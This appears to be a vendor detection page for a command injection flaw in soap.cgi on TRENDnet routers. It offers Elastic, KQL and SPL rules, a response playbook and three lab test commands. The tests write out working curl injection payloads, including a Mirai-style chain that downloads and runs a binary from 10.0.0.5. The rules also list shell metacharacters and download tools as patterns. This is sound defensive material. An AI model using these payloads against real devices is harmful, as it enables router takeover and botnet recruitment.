Skip to content
CVE-2026-138004 Elastic Security · Elastic

Detect TRENDnet TEW-751DR/TEW-733GR soap.cgi soapcgi_main OS Command Injection (CVE-2026-138004) in Elastic Security

Detects exploitation attempts against the OS command injection vulnerability (CWE-77, CWE-78) in the soapcgi_main function of /soap.cgi on TRENDnet TEW-751DR and TEW-733GR 1.03B01 routers. The flaw has a CVSS score of 9.3 and has been publicly disclosed. It allows unauthenticated remote attackers to inject arbitrary OS commands via crafted SOAP requests to the soap.cgi endpoint, typically through the SOAPAction header or request body. Detection focuses on HTTP requests to /soap.cgi containing shell metacharacters and on downstream process-execution telemetry, if endpoint or firmware logging is available, indicating command injection on the embedded Linux device.

MITRE ATT&CK

Tactic
Initial Access Execution

Elastic Detection Query

Elastic Security (Elastic)
eql
// df00tech DF00-0f2f212719 · https://df00tech.com/detections/CVE-2026-138004 · licence: https://df00tech.com/detections/licence
network where (url.path : "/soap.cgi" or http.request.body.content : "*soap.cgi*") and
  (
    http.request.body.content : ("*;*", "*|*", "*`*", "*$(*", "*&&*", "*||*") or
    url.query : ("*%3B*", "*%7C*", "*%60*", "*%26%26*") or
    url.path : ("*;*", "*`*", "*$(*")
  )
critical severity medium confidence

EQL network rule matching /soap.cgi requests with shell metacharacters in path, query, or body against TRENDnet devices.

Data Sources

PacketbeatNetwork FirewallWeb Proxy

Required Tables

packetbeat-*logs-network.*

False Positives & Tuning

  • SOAP payloads legitimately embedding ampersands or pipes within XML content
  • Internal health checks against the device management endpoint
  • Security tooling replaying crafted but authorized requests

Other platforms for CVE-2026-138004


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulated soap.cgi command injection via curl (lab)

    Expected signal: HTTP request to /soap.cgi containing a semicolon and 'id' command in the body captured by proxy/firewall/network sensors.

  2. Test 2 URL-encoded injection probe

    Expected signal: HTTP request with %3B and %60 encoded metacharacters in the query string targeting soap.cgi.

  3. Test 3 Download-and-execute payload simulation

    Expected signal: Request to soap.cgi containing chained shell commands (cd, wget, chmod) and a subsequent outbound connection attempt from the device.


Response Playbook

Triage

  1. Confirm the destination IP is a TRENDnet TEW-751DR or TEW-733GR device running firmware 1.03B01 or a related vulnerable build, and that /soap.cgi is reachable from the source network.
  2. Decode the full request URL and body and extract the injected command string following shell metacharacters (;, |, &, `, $()) to determine attacker intent.
  3. Correlate the source IP against threat intelligence and check for prior reconnaissance (scans of /soap.cgi, SOAPAction probing) from the same host.
  4. Determine whether the request received a 200 response or anomalous timing suggesting command execution succeeded.

Containment

  1. Block the offending source IP(s) at the perimeter firewall and restrict access to the router management interface (/soap.cgi) to trusted admin networks only.
  2. Isolate the affected router from untrusted networks (disable WAN-side management) and, if compromise is suspected, power-cycle and factory-reset the device, then reflash with vendor-provided firmware.

Evidence Collection

  1. Capture full PCAP / proxy logs of the request and response to /soap.cgi including headers and body for forensic analysis.
  2. Export router syslog, admin access logs, and any available crash/core dumps from the device before resetting; preserve firewall flow records for the source IP.

Escalation Criteria

  • !Escalate to incident response if the injected command indicates download-and-execute (wget/curl/tftp to pull a payload) or botnet enrollment (Mirai-style behavior).
  • !Escalate if multiple internal devices received the same crafted /soap.cgi requests or if outbound connections from the router to unknown hosts are observed post-exploitation.

Investigation Guide

Forensic Artifacts

  • >HTTP access logs / firewall logs showing POST or GET to /soap.cgi with metacharacters
  • >Router syslog entries and process-spawn records around the request time
  • >Unexpected files written to /tmp or /var on the device and new outbound connections from the router IP

Tuning Guidance

Baseline legitimate SOAP traffic to soap.cgi from internal management tools and exclude those source IPs. Tighten the metacharacter regex to the device's actual injectable parameters (SOAPAction header, service field) once a working PoC is analyzed. Where endpoint telemetry from the router is unavailable, rely on network/proxy layers and raise severity when the injected string contains download utilities (wget, curl, tftp).


Hunting Queries

Surface sources repeatedly hitting /soap.cgi with shell metacharacters to spot scanning or exploitation campaigns.

Hunting — KQL
kql
// df00tech DF00-0f2f212719 · https://df00tech.com/detections/CVE-2026-138004 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "/soap.cgi" | where RequestURL has_any (";","|","`","$(") | summarize count() by SourceIP, bin(TimeGenerated,1h) | order by count_ desc
Hunting — SPL
spl
``` df00tech DF00-0f2f212719 · https://df00tech.com/detections/CVE-2026-138004 · licence: https://df00tech.com/detections/licence ```
index=* url="*/soap.cgi*" (url="*;*" OR url="*|*" OR url="*`*") | stats count by src_ip | sort - count

Atomic Red Team Tests

Test 1 Simulated soap.cgi command injection via curl (lab)
linux

Sends a crafted request to a lab TRENDnet device (or mock) with a shell metacharacter in a SOAP parameter to emulate CVE-2026-138004 exploitation.

Command

bash
curl -s -X POST 'http://192.168.10.1/soap.cgi' -H 'SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings' --data 'service=;id;'

Cleanup

bash
echo 'No persistent change; clear any test logs if desired'

Expected Telemetry

HTTP request to /soap.cgi containing a semicolon and 'id' command in the body captured by proxy/firewall/network sensors.

Expected Detection

KQL/SPL rules flag the request to /soap.cgi containing shell metacharacters.

Test 2 URL-encoded injection probe
linux

Sends URL-encoded shell metacharacters to /soap.cgi to validate encoded-pattern detection.

Command

bash
curl -s 'http://192.168.10.1/soap.cgi?service=test%3B%60wget%20http%3A%2F%2F10.0.0.5%2Fx%60'

Cleanup

bash
true

Expected Telemetry

HTTP request with %3B and %60 encoded metacharacters in the query string targeting soap.cgi.

Expected Detection

Detection rules match URL-encoded metacharacters (%3B, %60) against the soap.cgi endpoint.

Test 3 Download-and-execute payload simulation
linux

Emulates a Mirai-style exploitation attempt injecting a wget download command through soap.cgi.

Command

bash
curl -s -X POST 'http://192.168.10.1/soap.cgi' --data 'service=x;cd /tmp && wget http://10.0.0.5/bot -O m && chmod +x m && ./m;'

Cleanup

bash
rm -f /tmp/m 2>/dev/null; true

Expected Telemetry

Request to soap.cgi containing chained shell commands (cd, wget, chmod) and a subsequent outbound connection attempt from the device.

Expected Detection

Rules flag the request for shell metacharacters plus download utilities, and hunting queries surface the outbound connection.

Related Detections